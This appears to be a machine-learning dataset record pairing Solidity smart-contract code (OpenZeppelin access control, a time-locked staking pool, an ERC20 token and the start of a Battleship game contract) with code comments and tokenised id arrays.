revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlEnumerable.sol"; import "./AccessControl.sol"; import "../utils/structs/EnumerableSet.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface ITimeLockPool { function deposit(uint256 _amount, uint256 _duration, address _receiver) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface IBasePool { function distributeRewards(uint256 _amount) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface IAbstractRewards { /** * @dev Returns the total amount of rewards a given address is able to withdraw. * @param account Address of a reward recipient * @return A uint256 representing the rewards `account` can withdraw */ function withdrawableRewardsOf(address account) external view returns (uint256); /** * @dev View the amount of funds that an address has withdrawn. * @param account The address of a token holder. * @return The amount of funds that `account` has withdrawn. */ function withdrawnRewardsOf(address account) external view returns (uint256); /** * @dev View the amount of funds that an address has earned in total. * accumulativeFundsOf(account) = withdrawableRewardsOf(account) + withdrawnRewardsOf(account) * = (pointsPerShare * balanceOf(account) + pointsCorrection[account]) / POINTS_MULTIPLIER * @param account The address of a token holder. * @return The amount of funds that `account` has earned in total. */ function cumulativeRewardsOf(address account) external view returns (uint256); /** * @dev This event emits when new funds are distributed * @param by the address of the sender who distributed funds * @param rewardsDistributed the amount of funds received for distribution */ event RewardsDistributed(address indexed by, uint256 rewardsDistributed); /** * @dev This event emits when distributed funds are withdrawn by a token holder. * @param by the address of the receiver of funds * @param fundsWithdrawn the amount of funds that were withdrawn */ event RewardsWithdrawn(address indexed by, uint256 fundsWithdrawn); } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; contract TokenSaver is AccessControlEnumerable { using SafeERC20 for IERC20; bytes32 public constant TOKEN_SAVER_ROLE = keccak256("TOKEN_SAVER_ROLE"); event TokenSaved(address indexed by, address indexed receiver, address indexed token, uint256 amount); modifier onlyTokenSaver() { require(hasRole(TOKEN_SAVER_ROLE, _msgSender()), "TokenSaver.onlyTokenSaver: permission denied"); _; } constructor() { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } function saveToken(address _token, address _receiver, uint256 _amount) external onlyTokenSaver { IERC20(_token).safeTransfer(_receiver, _amount); emit TokenSaved(_msgSender(), _receiver, _token, _amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Votes.sol"; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; import "../interfaces/IBasePool.sol"; import "../interfaces/ITimeLockPool.sol"; import "./AbstractRewards.sol"; import "./TokenSaver.sol"; abstract contract BasePool is ERC20Votes, AbstractRewards, IBasePool, TokenSaver { using SafeERC20 for IERC20; using SafeCast for uint256; using SafeCast for int256; IERC20 public immutable depositToken; IERC20 public immutable rewardToken; ITimeLockPool public immutable escrowPool; uint256 public immutable escrowPortion; // how much is escrowed 1e18 == 100% uint256 public immutable escrowDuration; // escrow duration in seconds event RewardsClaimed(address indexed _from, address indexed _receiver, uint256 _escrowedAmount, uint256 _nonEscrowedAmount); constructor( string memory _name, string memory _symbol, address _depositToken, address _rewardToken, address _escrowPool, uint256 _escrowPortion, uint256 _escrowDuration ) ERC20Permit(_name) ERC20(_name, _symbol) AbstractRewards(balanceOf, totalSupply) { require(_escrowPortion <= 1e18, "BasePool.constructor: Cannot escrow more than 100%"); require(_depositToken != address(0), "BasePool.constructor: Deposit token must be set"); depositToken = IERC20(_depositToken); rewardToken = IERC20(_rewardToken); escrowPool = ITimeLockPool(_escrowPool); escrowPortion = _escrowPortion; escrowDuration = _escrowDuration; if(_rewardToken != address(0) && _escrowPool != address(0)) { IERC20(_rewardToken).safeApprove(_escrowPool, type(uint256).max); } } function _mint(address _account, uint256 _amount) internal virtual override { super._mint(_account, _amount); _correctPoints(_account, -(_amount.toInt256())); } function _burn(address _account, uint256 _amount) internal virtual override { super._burn(_account, _amount); _correctPoints(_account, _amount.toInt256()); } function _transfer(address _from, address _to, uint256 _value) internal virtual override { super._transfer(_from, _to, _value); _correctPointsForTransfer(_from, _to, _value); } function distributeRewards(uint256 _amount) external override { rewardToken.safeTransferFrom(_msgSender(), address(this), _amount); _distributeRewards(_amount); } function claimRewards(address _receiver) external { uint256 rewardAmount = _prepareCollect(_msgSender()); uint256 escrowedRewardAmount = rewardAmount * escrowPortion / 1e18; uint256 nonEscrowedRewardAmount = rewardAmount - escrowedRewardAmount; if(escrowedRewardAmount != 0 && address(escrowPool) != address(0)) { escrowPool.deposit(escrowedRewardAmount, escrowDuration, _receiver); } // ignore dust if(nonEscrowedRewardAmount > 1) { rewardToken.safeTransfer(_receiver, nonEscrowedRewardAmount); } emit RewardsClaimed(_msgSender(), _receiver, escrowedRewardAmount, nonEscrowedRewardAmount); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "../interfaces/IAbstractRewards.sol"; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; /** * @dev Based on: https://github.com/indexed-finance/dividends/blob/master/contracts/base/AbstractDividends.sol * Renamed dividends to rewards. * @dev (OLD) Many functions in this contract were taken from this repository: * https://github.com/atpar/funds-distribution-token/blob/master/contracts/FundsDistributionToken.sol * which is an example implementation of ERC 2222, the draft for which can be found at * https://github.com/atpar/funds-distribution-token/blob/master/EIP-DRAFT.md * * This contract has been substantially modified from the original and does not comply with ERC 2222. * Many functions were renamed as "rewards" rather than "funds" and the core functionality was separated * into this abstract contract which can be inherited by anything tracking ownership of reward shares. */ abstract contract AbstractRewards is IAbstractRewards { using SafeCast for uint128; using SafeCast for uint256; using SafeCast for int256; /* ======== Constants ======== */ uint128 public constant POINTS_MULTIPLIER = type(uint128).max; /* ======== Internal Function References ======== */ function(address) view returns (uint256) private immutable getSharesOf; function() view returns (uint256) private immutable getTotalShares; /* ======== Storage ======== */ uint256 public pointsPerShare; mapping(address => int256) public pointsCorrection; mapping(address => uint256) public withdrawnRewards; constructor( function(address) view returns (uint256) getSharesOf_, function() view returns (uint256) getTotalShares_ ) { getSharesOf = getSharesOf_; getTotalShares = getTotalShares_; } /* ======== Public View Functions ======== */ /** * @dev Returns the total amount of rewards a given address is able to withdraw. * @param _account Address of a reward recipient * @return A uint256 representing the rewards `account` can withdraw */ function withdrawableRewardsOf(address _account) public view override returns (uint256) { return cumulativeRewardsOf(_account) - withdrawnRewards[_account]; } /** * @notice View the amount of rewards that an address has withdrawn. * @param _account The address of a token holder. * @return The amount of rewards that `account` has withdrawn. */ function withdrawnRewardsOf(address _account) public view override returns (uint256) { return withdrawnRewards[_account]; } /** * @notice View the amount of rewards that an address has earned in total. * @dev accumulativeFundsOf(account) = withdrawableRewardsOf(account) + withdrawnRewardsOf(account) * = (pointsPerShare * balanceOf(account) + pointsCorrection[account]) / POINTS_MULTIPLIER * @param _account The address of a token holder. * @return The amount of rewards that `account` has earned in total. */ function cumulativeRewardsOf(address _account) public view override returns (uint256) { return ((pointsPerShare * getSharesOf(_account)).toInt256() + pointsCorrection[_account]).toUint256() / POINTS_MULTIPLIER; } /* ======== Dividend Utility Functions ======== */ /** * @notice Distributes rewards to token holders. * @dev It reverts if the total shares is 0. * It emits the `RewardsDistributed` event if the amount to distribute is greater than 0. * About undistributed rewards: * In each distribution, there is a small amount which does not get distributed, * which is `(amount * POINTS_MULTIPLIER) % totalShares()`. * With a well-chosen `POINTS_MULTIPLIER`, the amount of funds that are not getting * distributed in a distribution can be less than 1 (base unit). */ function _distributeRewards(uint256 _amount) internal { uint256 shares = getTotalShares(); require(shares > 0, "AbstractRewards._distributeRewards: total share supply is zero"); if (_amount > 0) { pointsPerShare = pointsPerShare + (_amount * POINTS_MULTIPLIER / shares); emit RewardsDistributed(msg.sender, _amount); } } /** * @notice Prepares collection of owed rewards * @dev It emits a `RewardsWithdrawn` event if the amount of withdrawn rewards is * greater than 0. */ function _prepareCollect(address _account) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableRewardsOf(_account); if (_withdrawableDividend > 0) { withdrawnRewards[_account] = withdrawnRewards[_account] + _withdrawableDividend; emit RewardsWithdrawn(_account, _withdrawableDividend); } return _withdrawableDividend; } function _correctPointsForTransfer(address _from, address _to, uint256 _shares) internal { int256 _magCorrection = (pointsPerShare * _shares).toInt256(); pointsCorrection[_from] = pointsCorrection[_from] + _magCorrection; pointsCorrection[_to] = pointsCorrection[_to] - _magCorrection; } /** * @dev Increases or decreases the points correction for `account` by * `shares*pointsPerShare`. */ function _correctPoints(address _account, int256 _shares) internal { pointsCorrection[_account] = pointsCorrection[_account] + (_shares * (int256(pointsPerShare))); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./base/BasePool.sol"; import "./interfaces/ITimeLockPool.sol"; contract TimeLockPool is BasePool, ITimeLockPool { using Math for uint256; using SafeERC20 for IERC20; uint256 public immutable maxBonus; uint256 public immutable maxLockDuration; uint256 public constant MIN_LOCK_DURATION = 10 minutes; mapping(address => Deposit[]) public depositsOf; struct Deposit { uint256 amount; uint64 start; uint64 end; } event Deposited(uint256 amount, uint256 duration, address indexed receiver, address indexed from); event Withdrawn(uint256 indexed depositId, address indexed receiver, address indexed from, uint256 amount); constructor( string memory _name, string memory _symbol, address _depositToken, address _rewardToken, address _escrowPool, uint256 _escrowPortion, uint256 _escrowDuration, uint256 _maxBonus, uint256 _maxLockDuration ) BasePool(_name, _symbol, _depositToken, _rewardToken, _escrowPool, _escrowPortion, _escrowDuration) { require(_maxLockDuration >= MIN_LOCK_DURATION, "TimeLockPool.constructor: max lock duration must be greater or equal to mininmum lock duration"); maxBonus = _maxBonus; maxLockDuration = _maxLockDuration; } function deposit(uint256 _amount, uint256 _duration, address _receiver) external override { require(_amount > 0, "TimeLockPool.deposit: cannot deposit 0"); // Don't allow locking > maxLockDuration uint256 duration = _duration.min(maxLockDuration); // Enforce min lockup duration to prevent flash loan or MEV transaction ordering duration = duration.max(MIN_LOCK_DURATION); depositToken.safeTransferFrom(_msgSender(), address(this), _amount); depositsOf[_receiver].push(Deposit({ amount: _amount, start: uint64(block.timestamp), end: uint64(block.timestamp) + uint64(duration) })); uint256 mintAmount = _amount * getMultiplier(duration) / 1e18; _mint(_receiver, mintAmount); emit Deposited(_amount, duration, _receiver, _msgSender()); } function withdraw(uint256 _depositId, address _receiver) external { require(_depositId < depositsOf[_msgSender()].length, "TimeLockPool.withdraw: Deposit does not exist"); Deposit memory userDeposit = depositsOf[_msgSender()][_depositId]; require(block.timestamp >= userDeposit.end, "TimeLockPool.withdraw: too soon"); // No risk of wrapping around on casting to uint256 since deposit end always > deposit start and types are 64 bits uint256 shareAmount = userDeposit.amount * getMultiplier(uint256(userDeposit.end - userDeposit.start)) / 1e18; // remove Deposit depositsOf[_msgSender()][_depositId] = depositsOf[_msgSender()][depositsOf[_msgSender()].length - 1]; depositsOf[_msgSender()].pop(); // burn pool shares _burn(_msgSender(), shareAmount); // return tokens depositToken.safeTransfer(_receiver, userDeposit.amount); emit Withdrawn(_depositId, _receiver, _msgSender(), userDeposit.amount); } function getMultiplier(uint256 _lockDuration) public view returns(uint256) { return 1e18 + (maxBonus * _lockDuration / maxLockDuration); } function getTotalDeposit(address _account) public view returns(uint256) { uint256 total; for(uint256 i = 0; i < depositsOf[_account].length; i++) { total += depositsOf[_account][i].amount; } return total; } function getDepositsOf(address _account) public view returns(Deposit[] memory) { return depositsOf[_account]; } function getDepositsOfLength(address _account) public view returns(uint256) { return depositsOf[_account].length; } }
No risk of wrapping around on casting to uint256 since deposit end always > deposit start and types are 64 bits remove Deposit burn pool shares return tokens
function withdraw(uint256 _depositId, address _receiver) external { require(_depositId < depositsOf[_msgSender()].length, "TimeLockPool.withdraw: Deposit does not exist"); Deposit memory userDeposit = depositsOf[_msgSender()][_depositId]; require(block.timestamp >= userDeposit.end, "TimeLockPool.withdraw: too soon"); uint256 shareAmount = userDeposit.amount * getMultiplier(uint256(userDeposit.end - userDeposit.start)) / 1e18; depositsOf[_msgSender()][_depositId] = depositsOf[_msgSender()][depositsOf[_msgSender()].length - 1]; depositsOf[_msgSender()].pop(); _burn(_msgSender(), shareAmount); depositToken.safeTransfer(_receiver, userDeposit.amount); emit Withdrawn(_depositId, _receiver, _msgSender(), userDeposit.amount); }
86,405
[ 1, 2279, 18404, 434, 14702, 6740, 603, 27660, 358, 2254, 5034, 3241, 443, 1724, 679, 3712, 405, 443, 1724, 787, 471, 1953, 854, 5178, 4125, 1206, 4019, 538, 305, 18305, 2845, 24123, 327, 2430, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 598, 9446, 12, 11890, 5034, 389, 323, 1724, 548, 16, 1758, 389, 24454, 13, 3903, 288, 203, 3639, 2583, 24899, 323, 1724, 548, 411, 443, 917, 1282, 951, 63, 67, 3576, 12021, 1435, 8009, 2469, 16, 315, 950, 2531, 2864, 18, 1918, 9446, 30, 4019, 538, 305, 1552, 486, 1005, 8863, 203, 3639, 4019, 538, 305, 3778, 729, 758, 1724, 273, 443, 917, 1282, 951, 63, 67, 3576, 12021, 1435, 6362, 67, 323, 1724, 548, 15533, 203, 3639, 2583, 12, 2629, 18, 5508, 1545, 729, 758, 1724, 18, 409, 16, 315, 950, 2531, 2864, 18, 1918, 9446, 30, 4885, 17136, 8863, 203, 203, 3639, 2254, 5034, 7433, 6275, 273, 729, 758, 1724, 18, 8949, 380, 31863, 5742, 12, 11890, 5034, 12, 1355, 758, 1724, 18, 409, 300, 729, 758, 1724, 18, 1937, 3719, 342, 404, 73, 2643, 31, 203, 203, 3639, 443, 917, 1282, 951, 63, 67, 3576, 12021, 1435, 6362, 67, 323, 1724, 548, 65, 273, 443, 917, 1282, 951, 63, 67, 3576, 12021, 1435, 6362, 323, 917, 1282, 951, 63, 67, 3576, 12021, 1435, 8009, 2469, 300, 404, 15533, 203, 3639, 443, 917, 1282, 951, 63, 67, 3576, 12021, 1435, 8009, 5120, 5621, 203, 203, 3639, 389, 70, 321, 24899, 3576, 12021, 9334, 7433, 6275, 1769, 203, 540, 203, 3639, 443, 1724, 1345, 18, 4626, 5912, 24899, 24454, 16, 729, 758, 1724, 18, 8949, 1769, 203, 3639, 3626, 3423, 9446, 82, 24899, 323, 1724, 548, 16, 389, 24454, 16, 389, 3576, 12021, 9334, 729, 758, 1724, 18, 8949, 1769, 203, 2 ]
./partial_match/1/0x16d1CbD32B0f24F5DBDC41B3572475000EaED953/sources/YFIIX.sol
---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------
contract YFIIX is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function YFIIX() public { symbol = "YFIIX"; name = "YFIIX Finance"; decimals = 18; _totalSupply = 1000000000000000000000; balances[0x7C77ba7E9F8952b20b05736931D817932c3b4d91] = _totalSupply; Transfer(address(0), 0x7C77ba7E9F8952b20b05736931D817932c3b4d91, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
9,334,239
[ 1, 5802, 7620, 4232, 39, 3462, 3155, 16, 598, 326, 2719, 434, 3273, 16, 508, 471, 15105, 471, 1551, 25444, 1147, 29375, 8879, 13849, 8879, 17082, 11417, 8879, 17082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1624, 1653, 12507, 353, 4232, 39, 3462, 1358, 16, 14223, 11748, 16, 14060, 10477, 288, 203, 565, 533, 1071, 3273, 31, 203, 565, 533, 1071, 225, 508, 31, 203, 565, 2254, 28, 1071, 15105, 31, 203, 565, 2254, 1071, 389, 4963, 3088, 1283, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 13, 324, 26488, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 3719, 2935, 31, 203, 203, 203, 565, 445, 1624, 1653, 12507, 1435, 1071, 288, 203, 3639, 3273, 273, 315, 61, 1653, 12507, 14432, 203, 3639, 508, 273, 315, 61, 1653, 12507, 9458, 1359, 14432, 203, 3639, 15105, 273, 6549, 31, 203, 3639, 389, 4963, 3088, 1283, 273, 2130, 12648, 12648, 3784, 31, 203, 3639, 324, 26488, 63, 20, 92, 27, 39, 4700, 12124, 27, 41, 29, 42, 6675, 9401, 70, 3462, 70, 6260, 27, 5718, 29, 6938, 40, 28, 28814, 1578, 71, 23, 70, 24, 72, 12416, 65, 273, 389, 4963, 3088, 1283, 31, 203, 3639, 12279, 12, 2867, 12, 20, 3631, 374, 92, 27, 39, 4700, 12124, 27, 41, 29, 42, 6675, 9401, 70, 3462, 70, 6260, 27, 5718, 29, 6938, 40, 28, 28814, 1578, 71, 23, 70, 24, 72, 12416, 16, 389, 4963, 3088, 1283, 1769, 203, 565, 289, 203, 203, 203, 565, 445, 2078, 3088, 1283, 1435, 1071, 5381, 1135, 261, 11890, 13, 288, 203, 3639, 327, 389, 4963, 3088, 1283, 225, 300, 324, 26488, 63, 2867, 12, 20, 13, 15533, 203, 565, 289, 203, 203, 203, 565, 445, 11013, 951, 12, 2867, 2 ]
pragma solidity 0.4.24; import "./libraries/openzeppelin/migrations/Initializable.sol"; import "./libraries/tokenfoundry/StateMachine.sol"; import "./libraries/openzeppelin/ECRecovery.sol"; import "./libraries/Bytes.sol"; /// @title Battleship game over state channels. /// @author Ricardo Rius - <[email protected]> contract Battleship is StateMachine,Initializable { using ECRecovery for bytes32; // GAME STATES bytes32 constant STATE1 = "Create"; bytes32 constant STATE2 = "Set"; bytes32 constant STATE3 = "Play"; bytes32 constant STATE4 = "GameOver"; bytes32[] states = [STATE1, STATE2, STATE3, STATE4]; // FUNCTION SIGNATURES bytes4 private constant REGISTRY_PLAYERS_FSIG = bytes4(keccak256("setPlayer(address,uint256,uint256)")); bytes4 private constant REGISTRY_GAME_OWNER_FSIG = bytes4(keccak256("setGameOwner()")); bytes4 private constant REGISTRY_WINNER_FSIG = bytes4(keccak256("setWinner(address)")); // STATE VARIABLES address public owner; address public player1; address public player2; address public playerTurn; address public winner; uint public nonce; uint public betAmt; uint public timeout; mapping(address => address) public playerSigner; mapping(address => bytes32) internal hiddenShips; mapping(address => uint[]) internal playerShips; mapping(address => uint[]) internal playerMoves; mapping(address => uint[]) internal hitsToPlayer; mapping(address => uint[]) internal notHitsToPlayer; mapping(address => bytes4) internal secret; address internal ethrReg;// Ethr DID 